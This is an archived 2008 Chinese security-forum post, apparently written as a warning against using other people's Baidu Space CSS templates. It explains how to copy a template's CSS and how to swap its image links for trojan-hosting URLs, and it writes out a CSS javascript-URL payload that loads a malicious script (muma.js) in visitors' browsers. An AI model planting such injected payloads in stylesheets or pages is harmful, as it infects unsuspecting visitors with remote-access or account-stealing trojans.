【3.A.S.T】网络安全爱好者 - Powered by Discuz! Board

标题: 小心使用别人提供的CSS模版 [打印本页]

作者: 柔肠寸断 时间: 2008-8-30 21:10 标题: 小心使用别人提供的CSS模版

百度空间也有段时间了~~刚开始是用人家的模版 ~~

可前些天总是觉得不爽~

自己学网络的总应该有点办法吧~~~

虽然百度提供自定义编辑CSS ~~但是也太麻烦了~~~

有时我们用别人的提供的模版也有不如意的地方吧~~

那怎么能修改别人的呢？？就象修改自己的一样？？？

带着这个问题我门来看下我是怎么做到的~

首先我门假设去 [url=http://hi.baidu.com/dieinsky]http://hi.baidu.com/dieinsky[/url] 我的空间看看~~

HOHO（做的不好~大家多间量哈~）

如果这是你喜欢的模版那么我来看下怎么把它的CSS模版代码搞到手先~~

首先在其空间鼠标右单机 ——选择查看原文件（如图1）

然后在弹出的TXT文挡中查看下~~

晕~~这么多代码怎么看啊~~

呵呵不用着急

不用管他们我们只要查这里旧好了

方法：在TXT文挡中按ctrl+f 键然后弹的对话狂里添入 link rel

查找（如图2）

显示如下

href="/wshixuge/css/item/0eec99dddcbdc1ef77c638e2.css"> 引号中的就是地址了

HOHO 对照下我的空间 http://hi.baidu.com/dieinsky 把/css/item/0eec99dddcbdc1ef77c638e2.css添到后面然后用下载软件下来看看吧~~~

HOHO 是不是看到了我的模版CSS 原码了~~

什么？？太乱了？？

呵呵别急~~把里面的东西都复制出来然后粘到百度自定义CSS （创建新模版里）内个里面就好

看多了

进入正题~

看看里面的图片指向都是别人的空间或者某站上的图片连接地址 ~~这说明我们虽然用了这套CSS

但是当别人访问我们空间的时候同时也为这些图片所指向的空间刷了人气~~

那我门来想想~~

如果把这些图片连接改为自己QQ 空间里的片片然后放到这里那岂不是访问我们百度空间的同时也

为我们QQ空间刷了人气吗~~~ 哈哈~~

是不是很爽啊`~

还有更爽的呢~~

如果你懂的网站挂马那利用价值可就大了~~

哈哈！！

把里面的图片连接地址更改为我们的网马地址~~

那当人们访问我们空间的时候同时中了我们的马那不是更爽~~

可以是鸽子！也可以是QQ木马~~等等 ~~~

HOHOY

在这里简单说下

CSS中挂马也是需要保存 body {background-image:url('javascript:document.write("<script src=muma.js></script>")')}为后缀为CSS的文件，熟悉JS 挂马的朋友看到这里“("<script src=muma.js></script>”很熟悉吧~~呵呵它跟JS 挂马一样的其实他们就是语句不同罢了！！

<link href="css.css" rel="stylesheet" type="text/css" / >

吼吼就简单的介绍到这里吧~

文章只为提醒下各位朋友不要随便用别人的模版啊`~

作者: 平湖秋月 时间: 2008-8-30 22:02

这个还真没注意过有时间看看

欢迎光临【3.A.S.T】网络安全爱好者 (http://3ast.com/)